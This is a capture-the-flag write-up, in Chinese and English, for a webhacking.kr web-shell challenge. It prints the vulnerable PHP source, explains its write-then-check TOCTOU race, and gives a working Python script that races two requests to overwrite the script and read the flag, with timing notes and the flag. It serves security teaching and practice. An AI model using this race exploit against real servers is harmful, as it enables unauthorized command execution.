Challenge
The page is a web shell whose front end posts commands to a JSON endpoint.
页面是一个 WebShell,前端把命令发到 JSON endpoint。
http://webhacking.kr:10019/前端脚本把输入发到:
fetch("/api.php?q=" + escape(text_))页面显示提示符 WebShell:/ $,并把响应文本追加到终端。
Analysis
api.php 每次都把命令写进按 cookie 命名的脚本文件,而且先写文件、后校验:
<?php if(!preg_match('/^[a-f0-9]+$/', $_COOKIE['baby_toctou'])){ $newCookie = uniqid().rand(1,999999999); setcookie("baby_toctou", $newCookie); $_COOKIE['baby_toctou'] = $newCookie; } $cmd = $_GET['q']; $myfile = fopen("user/{$_COOKIE['baby_toctou']}.sh", "w") or die("Unable to open file!"); fwrite($myfile, $cmd); fclose($myfile); if(($cmd === "ls") || ($cmd === "cat api.php") || ($cmd === "cat index.php")){ // valid check sleep(1); // my server is small and weak system("sh ./user/{$_COOKIE['baby_toctou']}.sh"); } else{ echo 'only "ls", "cat api.php", "cat index.php" allowed'; }?>fwrite() 在校验之前执行,system() 在校验之后、并且隔着 sleep(1)。这 1 秒就是 TOCTOU 窗口:先发一个通过校验的请求,再在窗口内用同一个 cookie 发第二个被拒绝的请求覆写脚本文件,第一个请求醒来后执行的是第二个请求写进去的内容。
cookie 只需要满足 /^[a-f0-9]+$/,所以可以自己指定一个纯十六进制值固定住文件名,不必等 setcookie 分配。
Solution
两个请求必须共用同一个 baby_toctou cookie:第一个是校验通过的 q=ls,第二个在窗口内写 payload。
#!/usr/bin/env python3import threadingimport time
import requests
URL = "http://webhacking.kr:10019/api.php"COOKIES = {"baby_toctou": "abc123abc123abc"}PAYLOAD = "cat flag.php"
result = {}
def checked_request() -> None: """校验通过的那一发:写 ls、睡 1 秒、然后执行 user/<cookie>.sh。""" response = requests.get(URL, params={"q": "ls"}, cookies=COOKIES, timeout=25) result["out"] = response.text
def main() -> None: worker = threading.Thread(target=checked_request) worker.start() time.sleep(0.25) # 落在 sleep(1) 窗口内 requests.get(URL, params={"q": PAYLOAD}, cookies=COOKIES, timeout=25) worker.join() print(result["out"])
if __name__ == "__main__": main()q=ls 那一发的响应里,system() 的输出已经被换成了 payload 的执行结果:
<?php $flag = "FLAG{Mama_i_know_how_toctou_works}";?>payload 请求的响应是 only "ls", "cat api.php", "cat index.php" allowed,因为该请求只覆写文件,不执行命令。
复现边界:api.php 源码、白名单、写文件顺序、sleep(1) 窗口与 flag 均为现网实测;窗口是 1 秒,本机到该节点延迟约 40 ms,0.25 秒偏移一次命中,网络抖动时可在 0.1–0.6 秒之间重试。
FLAG{Mama_i_know_how_toctou_works}